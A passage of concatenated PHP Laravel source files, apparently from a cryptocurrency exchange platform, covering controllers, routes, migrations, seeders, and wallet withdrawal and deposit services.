(Exception $exception) { if ($exception->getCode() == 23000) { return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to create page for duplicate entry!')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to create new page.')); } return redirect()->route('pages.index')->with(RESPONSE_TYPE_SUCCESS, __('Successfully ')); } public function edit(Page $page): View { $data['title'] = __('Page Edit'); $data['page'] = $page; return view('pages.page_management.edit', $data); } public function update(PageRequest $request, Page $page): RedirectResponse { $attributes = $request->only($this->attributes); $attributes['content'] = $request->get('editor_content'); try { $page->update($attributes); } catch (Exception $exception) { if ($exception->getCode() == 23000) { return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update page for duplicate entry!')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update page.')); } return redirect()->route('pages.index', $page)->with(RESPONSE_TYPE_SUCCESS, __('Successfully page updated!')); } public function destroy(Page $page): RedirectResponse { if ($page->delete()) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __("The page has been deleted successfully.")); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __("Failed to delete the page.")); } } <file_sep><?php use App\Http\Controllers\Exchange\CoinMarketController; use App\Http\Controllers\GoogleTwoFactor\VerifyGoogle2faController; use App\Http\Controllers\Guest\AuthController; use App\Http\Controllers\HomeController; use App\Http\Controllers\Page\ViewPageController; use App\Http\Controllers\Post\BlogCategoryController; use App\Http\Controllers\Post\BlogController; use App\Http\Controllers\TestController; use Illuminate\Support\Facades\Route; //Test Route::get('test', [TestController::class, 'test']) ->name('test'); Route::get('/', HomeController::class) ->name('home'); Route::post('google-2fa/verify', [VerifyGoogle2faController::class, 'verify']) ->name('profile.google-2fa.verify'); //Blog Route::get('blog', [BlogController::class, 'index'])->name('blog.index'); Route::get('blog/category/{postCategory}', [BlogCategoryController::class, 'index'])->name('blog.category'); Route::get('blog/post/{slug}', [BlogController::class, 'show'])->name('blog.show'); Route::get('/{page?}', [ViewPageController::class, 'index'])->name('page.index'); <file_sep><?php namespace App\Http\Requests\Post; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class PostCategoryRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $rules = [ 'is_active' => 'required|in:' . array_to_string(active_status()), ]; $rules['name'] = [ 'required', Rule::unique('post_categories', 'name')->ignore($this->route()->parameter('post_category')), 'max:255' ]; return $rules; } } <file_sep><?php namespace App\Services\Post; use App\Services\Core\FileUploadService; use Illuminate\Support\Str; class PostService { public function _uploadThumbnail($request) { if ($request->hasFile('featured_image')) { return app(FileUploadService::class)->upload($request->featured_image, config('commonconfig.path_post_feature_image'), 'featured_image', 'post', Str::uuid()->toString(), 'public', 1280, 768, false, 'jpg'); } return false; } } <file_sep><?php namespace App\Services\Core; use App\Models\Core\User; use Exception; use Illuminate\Support\Arr; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Str; class UserService { public function generate($parameters) { $userParams = Arr::only($parameters, [ 'email', 'username', 'is_email_verified', 'is_financial_active', 'is_accessible_under_maintenance', 'is_active', 'created_by', 'password', 'is_super_admin', ]); $userParams['password'] = Hash::make($userParams['password']); $userParams['referral_code'] = Str::uuid()->toString(); $userParams['assigned_role'] = settings('default_role_to_register'); if (Arr::has($parameters, 'referral_id')) { $refUser = User::where('referral_code', $parameters['referral_id'])->first(); if ($refUser) { $userParams['referrer_id'] = $refUser->id; } } if (Arr::has($parameters, 'assigned_role')) { $userParams['assigned_role'] = $parameters['assigned_role']; } DB::beginTransaction(); try { $user = User::create($userParams); $profileParams = Arr::only($parameters, ['first_name', 'last_name', 'address', 'phone']); $user->profile()->create($profileParams); DB::commit(); } catch (Exception $exception) { DB::rollBack(); return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __('Failed to register.') ]; } return [ RESPONSE_STATUS_KEY => true, RESPONSE_MESSAGE_KEY => __('The registration was successful. Please check your email to verify your account.'), RESPONSE_DATA => [ 'user' => $user ], ]; } } <file_sep><?php namespace App\Http\Controllers\Ticket; use App\Http\Controllers\Controller; use App\Http\Requests\Core\{TicketCommentRequest, TicketRequest}; use App\Models\Ticket\Ticket; use App\Services\Core\{DataTableService, FileUploadService, TicketService}; use Illuminate\Http\RedirectResponse; use Illuminate\Support\{Facades\Auth, Facades\DB, Facades\Storage}; use Illuminate\View\View; use Ramsey\Uuid\Uuid; class UserTicketController extends Controller { public $ticketService; public function __construct(TicketService $ticketService) { $this->ticketService = $ticketService; } public function index(): View { $searchFields = [ ['id', __('Ticket ID')], ['title', __('Heading')], ]; $orderFields = [ ['id', __('Ticket ID')], ['title', __('Heading')], ['created_at', __('Date')], ]; $filters = [ ['status', __('Status'), ticket_status()] ]; $queryBuilder = Ticket::where('user_id', Auth::id()) ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filters) ->create($queryBuilder); $data['title'] = __('My Tickets'); return view('ticket.user.index', $data); } public function show(Ticket $ticket): View { return view('ticket.user.show', $this->ticketService->show($ticket)); } public function create(): View { $data['title'] = __('Create Ticket'); return view('ticket.user.create', $data); } public function store(TicketRequest $request): RedirectResponse { $params = [ 'user_id' => Auth::id(), 'id' => Uuid::uuid4(), 'title' => $request->get('title'), 'content' => $request->get('content'), 'previous_id' => $request->get('previous_id') ]; if ($request->hasFile('attachment')) { $name = md5($params['id'] . auth()->id() . time()); $uploadedAttachment = app(FileUploadService::class)->upload($request->file('attachment'), config('commonconfig.ticket_attachment'), $name, '', '', 'public'); if ($uploadedAttachment) { $params['attachment'] = $uploadedAttachment; } } if (Ticket::create($params)) { return redirect()->route('tickets.index')->with(RESPONSE_TYPE_SUCCESS, __('Ticket has been created successfully.')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to create ticket.')); } public function comment(TicketCommentRequest $request, Ticket $ticket): RedirectResponse { return $this->ticketService->comment($request, $ticket); } public function download(Ticket $ticket, string $fileName) { return $this->ticketService->download($ticket, $fileName); } public function close(Ticket $ticket): RedirectResponse { return $this->ticketService->close($ticket); } } <file_sep><?php /** @var \Illuminate\Database\Eloquent\Factory $factory */ use App\Models\Coin\Coin; use Faker\Generator as Faker; $factory->define(Coin::class, function (Faker $faker) { return [ 'symbol' => 'BTC', 'name' => 'Bitcoin', 'type' => COIN_TYPE_CRYPTO, ]; }); <file_sep><?php use App\Models\Core\User; use App\Models\Post\Post; use App\Models\Post\PostCategory; use App\Models\Post\PostComment; use Faker\Factory; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; use Illuminate\Support\Str; class PostsTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { Schema::disableForeignKeyConstraints(); DB::table('post_comments')->truncate(); DB::table('posts')->truncate(); DB::table('post_categories')->truncate(); Schema::enableForeignKeyConstraints(); $faker = Factory::create(); $categories = factory(PostCategory::class, 7)->create(); $posts = collect([]); $comments = collect([]); foreach ($categories as $category) { foreach (range(1, random_int(5, 10)) as $key) { $title = $faker->sentence(random_int(5, 10)); $postArray = [ 'id' => Str::uuid()->toString(), 'user_id' => User::inRandomOrder()->first()->id, 'category_slug' => $category->slug, 'title' => $title, 'slug' => Str::slug($title), 'content' => $faker->sentences(random_int(3, 10), true), 'is_published' => $faker->boolean(80), 'is_featured' => $faker->boolean(10), 'updated_at' => $faker->dateTimeThisMonth()->format('Y-m-d H:i:s'), 'created_at' => $faker->dateTimeThisMonth()->format('Y-m-d H:i:s'), ]; $posts->push($postArray); $commentIds = []; foreach (range(1, random_int(5, 15)) as $item) { $id = Str::uuid()->toString(); $commentArray = [ 'id' => $id, 'user_id' => $faker->boolean(25) ? $postArray['user_id'] : User::inRandomOrder()->first()->id, 'post_id' => $postArray['id'], 'post_comment_id' => $faker->boolean(40) ? $faker->randomElement($commentIds) : null, 'content' => $faker->sentences(random_int(1,2), true), 'created_at' => $faker->dateTimeThisMonth()->format('Y-m-d H:i:s'), 'updated_at' => $faker->dateTimeThisMonth()->format('Y-m-d H:i:s') ]; $comments->push($commentArray); $commentIds[] = $id; } } } Post::insert($posts->toArray()); PostComment::insert($comments->toArray()); } } <file_sep><?php namespace App\Services\Withdrawal; use App\Jobs\Withdrawal\WithdrawalCancelJob; use App\Jobs\Withdrawal\WithdrawalProcessJob; use App\Mail\Withdrawal\WithdrawalComplete; use App\Models\Withdrawal\WalletWithdrawal; use App\Services\Logger\Logger; use App\Services\Wallet\SystemWalletService; use Exception; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Mail; use Illuminate\Support\Str; class WithdrawalService { protected $withdrawal; public function __construct(WalletWithdrawal $withdrawal) { $this->withdrawal = $withdrawal; } public function show() { $data['withdrawal'] = $this->withdrawal; $data['title'] = __("Withdrawal Details"); return view('withdrawal.admin.show', $data); } public function destroy() { if ($this->withdrawal->update(['status' => STATUS_CANCELING])) { WithdrawalCancelJob::dispatch($this->withdrawal); return redirect() ->route(replace_current_route_action('index')) ->with(RESPONSE_TYPE_SUCCESS, __("The withdrawal cancellation will be processed shortly.")); } return redirect() ->back() ->with(RESPONSE_TYPE_SUCCESS, __("Failed to cancel withdrawal.")); } public function cancel() { if ($this->withdrawal->status !== STATUS_PENDING) { return; } DB::beginTransaction(); try { //Change withdrawal status to FAILED if (!$this->withdrawal->update(['status' => STATUS_FAILED])) { throw new Exception(__("Failed to change status as canceled")); } //Increase wallet balance if (!$this->withdrawal->wallet()->increment('primary_balance', $this->withdrawal->amount)) { throw new Exception(__("Failed to update wallet.")); } //Subtract system fee from system wallet if (bccomp($this->withdrawal->system_fee, '0') > 0) { if (!app(SystemWalletService::class) ->subtractFee($this->withdrawal->symbol, $this->withdrawal->system_fee)) { throw new Exception('Failed to subtract system fee from system wallet'); } } } catch (Exception $exception) { DB::rollBack(); Logger::error($exception, "[FAILED][WithdrawalService][cancel]"); return; } DB::commit(); return; } public function approve() { if (!$this->withdrawal->update(['status' => STATUS_PENDING])) { return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __('Failed to change status as processing.') ]; } WithdrawalProcessJob::dispatch($this->withdrawal); return [ RESPONSE_STATUS_KEY => true, RESPONSE_MESSAGE_KEY => __('Withdrawal has been approved successfully.') ]; } public function withdraw() { $api = $this->withdrawal->coin->getAssociatedApi(); if (is_null($api)) { throw new Exception(__('Unable to call API')); } else { $amountToBeSend = bcsub($this->withdrawal->amount, $this->withdrawal->system_fee); $apiCallNeeded = true; DB::beginTransaction(); try { //Check if the withdrawal is internal if ($this->withdrawal->api === API_BANK) { $this->withdrawal->status = STATUS_COMPLETED; $this->withdrawal->txn_id = sprintf('transfer-%s', Str::uuid()->toString()); $apiCallNeeded = false; } elseif ($recipientWallet = $this->withdrawal->getRecipientWallet()) { $this->withdrawal->status = STATUS_COMPLETED; $recipientWallet->increment('primary_balance', $amountToBeSend); $this->withdrawal->txn_id = sprintf('transfer-%s', Str::uuid()->toString()); $apiCallNeeded = false; } if (bccomp($this->withdrawal->system_fee, '0') > 0) { if (!app(SystemWalletService::class)->addFee($this->withdrawal->user, $this->withdrawal->symbol, $this->withdrawal->system_fee)) { throw new Exception(__("Failed to update system fee to system wallet.")); } } if ($apiCallNeeded) { $response = $api->sendToAddress($this->withdrawal->address, $amountToBeSend); if ($response[RESPONSE_STATUS_KEY]) { $this->withdrawal->status = $response[RESPONSE_DATA]['status']; $this->withdrawal->txn_id = $response[RESPONSE_DATA]['txn_id']; $this->withdrawal->update(); DB::commit(); } else { DB::rollBack(); return false; } } else { $this->withdrawal->update(); DB::commit(); } } catch (Exception $exception) { DB::rollBack(); Logger::error($exception, "[FAILED][WithdrawalService][withdraw]"); return false; } } if ($this->withdrawal->api === API_BANK) { Mail::to($this->withdrawal->user->email)->send(new WithdrawalComplete($this->withdrawal)); } return true; } } <file_sep><?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use App\Models\Core\User; use App\Models\Wallet\Wallet; use App\Services\Core\DataTableService; class AdminUserDepositController extends Controller { public function index(User $user, Wallet $wallet) { $searchFields = [ ['id', __('Reference ID')], ['amount', __('Amount')], ['address', __('Address')], ['bank_name', __('Bank'), 'bankAccount'], ['txn_id', __('Transaction ID')], ['symbol', __('Wallet')], ]; $orderFields = [ ['amount', __('Amount')], ['address', __('Address')], ['symbol', __('Wallet')], ['created_at', __('Date')], ]; $filterFields = [ ['status', __('Status'), transaction_status()], ]; $queryBuilder = $wallet->deposits() ->with("bankAccount") ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); $data['title'] = __('Deposit History: :user', ['user' => $user->profile->full_name]); return view('deposit.admin.user_deposit_history', $data); } } <file_sep><?php namespace App\Http\Controllers\Coin; use App\Http\Controllers\Controller; use App\Models\Coin\Coin; use App\Models\Wallet\Wallet; class AdminCoinAddressRemoveController extends Controller { public function __invoke(Coin $coin) { if($coin->type != COIN_TYPE_CRYPTO){ return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, __('Action is not allowed for this coin.')); } if(Wallet::where('symbol', $coin->symbol)->update(['address' => null])){ return redirect() ->route('coins.index') ->with(RESPONSE_TYPE_SUCCESS, __('Addresses related to this coin has been removed successfully.')); } return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, __('Failed to remove addresses related to this coin.')); } } <file_sep><?php namespace App\Services\Exchange; use App\Models\Exchange\Exchange; use Illuminate\Database\Eloquent\Collection; class GetLatestTradeService { public function getTrades(array $conditions, $take = TRADE_HISTORY_PER_PAGE): Collection { return Exchange::select([ 'price', 'amount', 'total', 'order_type', 'created_at as date', ]) ->where($conditions) ->orderBy('created_at', 'desc') ->take($take) ->get(); } } <file_sep><?php namespace App\Http\Controllers\BankAccount; use App\Http\Controllers\Controller; use App\Models\BankAccount\BankAccount; use Illuminate\Http\RedirectResponse; class ChangeAdminBankAccountStatusController extends Controller { public function change(BankAccount $bankAccount): RedirectResponse { if (!is_null($bankAccount->user_id)) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Invalid system bank account id. Please try again.')); } if ($bankAccount->toggleStatus()) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('Successfully system bank account status changed. Please try again.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to change status. Please try again.')); } } <file_sep><?php namespace App\Http\Controllers\Referral; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; class ReferralLinkController extends Controller { public function show() { $user = Auth::user(); $data['title'] = __('Referral'); if (is_null($user->referral_code)) { $user->update(['referral_code' => Str::random()]); $user = $user->fresh(); } $data['user'] = $user; return view('referral.link_show', $data); } } <file_sep><?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateUsersTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('users', function (Blueprint $table) { $table->uuid('id')->primary(); $table->string('assigned_role', 20); $table->uuid('referrer_id')->nullable(); $table->string('referral_code')->nullable(); $table->string('username', 20)->unique(); $table->string('email', 50)->unique(); $table->string('password'); $table->string('avatar')->nullable(); $table->string('google2fa_secret', 30)->nullable(); $table->boolean('is_id_verified')->default(UNVERIFIED); $table->boolean('is_email_verified')->default(UNVERIFIED); $table->boolean('is_financial_active')->default(ACTIVE); $table->boolean('is_accessible_under_maintenance')->default(INACTIVE); $table->boolean('is_super_admin')->default(INACTIVE); $table->string('status', 20)->default(STATUS_ACTIVE); $table->rememberToken(); $table->uuid('created_by')->nullable(); $table->timestamps(); $table->foreign('assigned_role') ->references('slug') ->on('roles') ->onDelete('restrict') ->onUpdate('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('users'); } } <file_sep><?php namespace App\Http\Controllers\Coin; use App\Http\Controllers\Controller; use App\Http\Requests\Coin\CoinWithdrawalRequest; use App\Models\Coin\Coin; use Illuminate\Contracts\View\View; use Illuminate\Http\RedirectResponse; class AdminCoinWithdrawalOptionController extends Controller { protected $service; public function edit(Coin $coin): View { $data['title'] = __('Edit Wallet Withdrawal Info'); $data['coin'] = $coin; return view('coins.admin.withdrawal_form', $data); } public function update(CoinWithdrawalRequest $request, Coin $coin): RedirectResponse { $attributes = [ 'withdrawal_status' => $request->get('withdrawal_status'), 'minimum_withdrawal_amount' => $request->get('minimum_withdrawal_amount') ?: 0, 'daily_withdrawal_limit' => $request->input('daily_withdrawal_limit') ?: 0, 'withdrawal_fee' => $request->get('withdrawal_fee') ?: 0, 'withdrawal_fee_type' => $request->get('withdrawal_fee_type'), ]; if ($coin->update($attributes)) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('The coin has been updated successfully.')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update.')); } } <file_sep><?php namespace App\Models\Exchange; use App\Override\Eloquent\LaraframeModel as Model; class ExchangeData extends Model { public $incrementing = false; protected $keyType = 'string'; protected $primaryKey = 'trade_pair'; public $timestamps = false; protected $fillable = ['trade_pair', '5min', '15min', '30min', '2hr', '4hr', '1day','date']; } <file_sep><?php namespace App\Jobs\Deposit; use App\Services\Deposit\DepositService; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; class DepositProcessJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; public $depositData; public function __construct(array $depositData) { $this->depositData = $depositData; } public function handle(DepositService $depositService) { $depositService->deposit($this->depositData); } } <file_sep><?php namespace App\Http\Controllers\Coin; use App\Http\Controllers\Controller; use App\Http\Requests\Coin\CoinRequest; use App\Jobs\Wallet\GenerateUsersWalletsJob; use App\Models\Coin\Coin; use App\Models\Coin\CoinPair; use App\Services\Core\DataTableService; use App\Services\Core\FileUploadService; use Illuminate\Contracts\View\View; use Illuminate\Http\RedirectResponse; use Illuminate\Validation\ValidationException; class AdminCoinController extends Controller { public function index(): View { $data['title'] = __('Coin'); $searchFields = [ ['symbol', __('Coin')], ['name', __('Coin Name')], ['type', __('Coin Type')], ['is_active', __('Active Status')], ]; $orderFields = [ ['symbol', __('Coin')], ['name', __('Coin Name')], ['type', __('Coin Type')], ['created_at', __('Created Date')], ]; $select = ['coins.*']; $queryBuilder = Coin::select($select) ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); return view('coins.admin.index', $data); } public function create(): View { $data['title'] = __('Create Coin'); $data['coinTypes'] = coin_types(); return view('coins.admin.create', $data); } public function store(CoinRequest $request): RedirectResponse { $attributes = $this->filterFields($request); if ($request->hasFile('icon')) { $coinIcon = app(FileUploadService::class) ->upload($request->icon, config('commonconfig.path_coin_icon'), '', '', $request->symbol, 'public', 300, 300); $attributes['icon'] = $coinIcon; } if ($coin = Coin::create($attributes)) { if (env('QUEUE_CONNECTION', 'sync') === 'sync') { GenerateUsersWalletsJob::dispatchNow($coin); } else { GenerateUsersWalletsJob::dispatch($coin); } return redirect() ->route('coins.edit', $coin->symbol) ->with(RESPONSE_TYPE_SUCCESS, __('The coin has been created successfully.')); } return redirect() ->back() ->withInput() ->with(RESPONSE_TYPE_ERROR, __("Failed to create coin.")); } private function filterFields(CoinRequest $request): array { $params = [ 'symbol' => $request->get('symbol'), 'name' => $request->get('name'), 'icon' => $request->get('icon'), 'is_active' => $request->get('is_active'), 'exchange_status' => $request->get('exchange_status'), ]; if ($request->isMethod('POST')) { $params['type'] = $request->get('type'); } return $params; } public function edit(Coin $coin): View { $data['title'] = __('Edit Coin'); $data['coin'] = $coin; return view('coins.admin.edit', $data); } public function update(CoinRequest $request, Coin $coin): RedirectResponse { $attributes = $this->filterFields($request); if ((int)$request->get('is_active') === INACTIVE || (int)$request->get('exchange_status') === INACTIVE) { $isDefaultCoinPair = CoinPair::where('is_default', ACTIVE) ->where(function ($query) use ($coin) { $query->where('trade_coin', $coin->symbol) ->orWhere('base_coin', $coin->symbol); })->first(); if ($isDefaultCoinPair) { return redirect() ->back() ->withInput() ->with(RESPONSE_TYPE_ERROR, __('This coin is part of default coin pair and it cannot be deactivated.')); } } if ($coin->update($attributes)) { return redirect() ->route('coins.edit', $coin->symbol) ->with(RESPONSE_TYPE_SUCCESS, __('The coin has been updated successfully.')); } return redirect() ->back() ->withInput() ->with(RESPONSE_TYPE_ERROR, __('Failed to update.')); } } <file_sep><?php namespace App\Services\Api; use App\Models\Wallet\Wallet; use App\Override\Api\BitcoinForkedApi; class BitcoinService { protected $client; protected $wallet; public function __construct(BitcoinForkedApi $client, Wallet $wallet) { $this->wallet = $wallet; $this->client = $client; } public function generateAddress() { if (is_null($this->wallet->address)) { $response = $this->client->generateAddress(); if ($response['error'] === 'ok') { $this->wallet->update(['address' => $response['result']['address']]); } } else { $response = [ 'error' => 'ok', 'result' => [ 'address' => $this->wallet->address ] ]; } return $response; } public function validateAddress(string $address): bool { return $this->client->validateAddress($address); } public function withdraw($withdrawal) { return $this->client->sendToAddress($withdrawal->address, $withdrawal->amount); } } <file_sep><?php namespace App\Models\Core; use App\Override\Eloquent\LaraframeModel as Model; use Exception; class ApplicationSetting extends Model { public $incrementing = false; protected $primaryKey = 'slug'; protected $keyType = 'string'; protected $fillable = [ 'slug', 'value', ]; public function getValueAttribute($value) { $fieldValue = ''; try { $fieldValue = decrypt($value); } catch (Exception $exception) { $fieldValue = $value; } return $fieldValue; } } <file_sep><?php namespace App\Http\Controllers\Core; use App\Http\Controllers\Controller; use App\Http\Requests\Core\RoleRequest; use App\Models\Core\Role; use App\Services\Core\DataTableService; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\Cache; use Illuminate\View\View; class RoleController extends Controller { public function index(): View { $searchFields = [ ['name', __('Role Name')], ]; $orderFields = [ ['id', __('Serial')], ['name', __('Role Name')], ]; $queryBuilder = Role::orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); $data['title'] = __('Role Management'); $data['defaultRoles'] = config('commonconfig.fixed_roles'); if (!is_array($data['defaultRoles'])) { $data['defaultRoles'] = []; } return view('core.roles.index', $data); } public function create(): View { $data['routes'] = config('webpermissions.configurable_routes'); $data['title'] = __('Create User Role'); return view('core.roles.create', $data); } public function store(RoleRequest $request): RedirectResponse { $parameters = [ 'name' => $request->name, 'permissions' => $request->roles ]; $parameters['accessible_routes'] = build_permission($request->roles); if ($role = Role::create($parameters)) { Cache::forever("roles_{$role->slug}", $parameters['accessible_routes']); return redirect()->route('roles.edit', $role->slug)->with(RESPONSE_TYPE_SUCCESS, __('User role has been created successfully.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to create user role.')); } public function edit(Role $role): View { $data['role'] = $role; $data['routes'] = config('webpermissions.configurable_routes'); $data['title'] = __('Edit Role: :role', ['role' => $role->name]); return view('core.roles.edit', $data); } public function update(RoleRequest $request, Role $role): RedirectResponse { $roles = $request->roles; $parameters = [ 'permissions' => $roles ]; $parameters['accessible_routes'] = build_permission($roles, $role->slug); if ($role->update($parameters)) { return redirect()->route('roles.edit', $role->slug)->with(RESPONSE_TYPE_SUCCESS, __('User role has been updated successfully.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to update user role.')); } public function destroy(Role $role): RedirectResponse { if ($this->isNonDeletableRole($role->slug)) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('This role cannot be deleted.')); } $userCount = $role->users->count(); $deleted = false; if ($userCount <= 0) { $deleted = $role->delete(); } if ($deleted) { return redirect()->route('roles.index')->with(RESPONSE_TYPE_SUCCESS, __('User role has been deleted successfully.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('This role cannot be deleted.')); } private function isNonDeletableRole(string $slug): bool { $defaultRoles = config('commonconfig.fixed_roles'); return in_array($slug, $defaultRoles); } public function changeStatus(Role $role): RedirectResponse { if ($this->isNonDeletableRole($role->slug)) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('User role status can not be changed.')); } if ($role->toggleStatus()) { return redirect()->route('roles.index')->with(RESPONSE_TYPE_SUCCESS, __('User role has been changed successfully.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('User role status can not be changed.')); } } <file_sep><?php namespace App\Jobs\Webhook; use App\Jobs\Deposit\DepositProcessJob; use App\Override\Logger; use Exception; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; class ValidateBitcoinIpnJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; public $data; public $currency; public function __construct(string $currency, array $data) { $this->data = $data; $this->currency = $currency; } public function handle() { //Get Bitcoin API $api = app(API_BITCOIN, [$this->currency]); //Validate IPN and process deposit one by one in queue if ($transactions = $api->validateIpn($this->data['txn_id'])) { $status = $transactions['confirmations'] ? STATUS_COMPLETED : STATUS_PENDING; foreach ($transactions['details'] as $transaction) { if ($transaction['category'] === 'receive') { $depositData = [ 'address' => $transaction['address'], 'amount' => sprintf('%.8f', $transaction['amount']), 'txn_id' => $transactions['txid'], 'symbol' => $this->currency, 'status' => $status, 'type' => TRANSACTION_DEPOSIT, 'api' => API_BITCOIN, ]; DepositProcessJob::dispatch($depositData); } } } } public function failed(Exception $exception) { Logger::error($exception, "[FAILED][ValidateBitcoinIpnJob]"); } } <file_sep><?php namespace App\Mail\Withdrawal; use App\Models\Withdrawal\WalletWithdrawal; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Mail\Mailable; use Illuminate\Queue\SerializesModels; class Confirmation extends Mailable implements ShouldQueue { use Queueable, SerializesModels; /** * @var WalletWithdrawal */ public $withdrawal; /** * Create a new message instance. * * @param WalletWithdrawal $withdrawal */ public function __construct(WalletWithdrawal $withdrawal) { $this->withdrawal = $withdrawal; } /** * Build the message. * * @return $this */ public function build() { return $this->markdown('email.withdrawal.confirmation') ->subject("Withdrawal Confirmation"); } } <file_sep><?php namespace App\Http\Controllers\Core; use App\Http\Controllers\Controller; use App\Http\Requests\Core\UserRequest; use App\Http\Requests\Core\UserStatusRequest; use App\Jobs\Wallet\GenerateUserWalletsJob; use App\Mail\Core\AccountCreated; use App\Models\Core\Notification; use App\Models\Core\Role; use App\Models\Core\User; use App\Models\Order\Order; use App\Models\Wallet\Wallet; use App\Services\Core\DataTableService; use App\Services\Core\UserService; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Mail; use Ramsey\Uuid\Uuid; class UsersController extends Controller { public function index() { $searchFields = [ ['username', __('Username')], ['email', __('Email')], ['first_name', __('First Name'), 'profile'], ['last_name', __('Last Name'), 'profile'], ['slug', __('Role'), 'role'], ]; $orderFields = [ ['first_name', __('First Name'), 'profile'], ['last_name', __('Last Name'), 'profile'], ['email', __('Email')], ['username', __('Username')], ['slug', __('Role'), 'role'], ['created_at', __('Registered Date')], ]; $filterFields = [ ['assigned_role', __('Role'), Role::pluck('name', 'slug')->toArray()], ['status', __('Status'), account_status()] ]; $queryBuilder = User::with(["profile:user_id,first_name,last_name"]) ->orderBy('created_at', 'desc'); $downloadableHeadings = [ ['id', __('ID')], ['username', __('Username')], ['first_name', __('First Name'), 'profile'], ['last_name', __('Last Name'), 'profile'], ['email', __('Email')], ['is_email_verified', __('Email Verified Status')], ['is_financial_active', __('Financial Status')], ['status', __('Status')] ]; $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->downloadable($downloadableHeadings) ->create($queryBuilder); $data['title'] = __('Users'); return view('core.users.index', $data); } public function show(User $user) { $data['user'] = $user; $data['title'] = __('View User'); $data['walletCount'] = Wallet::where('user_id', $user->id) ->withoutSystemWallet() ->count(); $data['openOrderCount'] = Order::where('user_id', $user->id) ->where('status', STATUS_PENDING) ->count(); return view('core.users.show', $data); } public function create() { $data['roles'] = Role::active()->pluck('name', 'slug')->toArray(); $data['title'] = __('Create User'); return view('core.users.create', $data); } public function store(UserRequest $request) { $parameters = $request->only(['first_name', 'last_name', 'address', 'assigned_role', 'email', 'username', 'is_email_verified', 'is_financial_active', 'status', 'is_accessible_under_maintenance']); $parameters['password'] = <PASSWORD>'); $parameters['created_by'] = Auth::id(); $response = app(UserService::class)->generate($parameters); if ($response[RESPONSE_STATUS_KEY]) { $user = $response[RESPONSE_DATA]['user']; if (env('QUEUE_CONNECTION', 'sync') === 'sync') { GenerateUserWalletsJob::dispatchNow($user); } else { GenerateUserWalletsJob::dispatch($user); } Mail::to($user->email)->send(new AccountCreated($user->profile, $parameters['password'])); return redirect()->route('admin.users.show', $user->id)->with(RESPONSE_TYPE_SUCCESS, __("User has been created successfully.")); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to create user.')); } public function edit(User $user) { $data['user'] = $user; $data['roles'] = Role::active()->pluck('name', 'slug')->toArray(); $data['title'] = __('Edit User'); $data['walletCount'] = Wallet::where('user_id', $user->id) ->withoutSystemWallet() ->count(); $data['openOrderCount'] = Order::where('user_id', $user->id) ->where('status', STATUS_PENDING) ->count(); return view('core.users.edit', $data); } public function update(UserRequest $request, User $user) 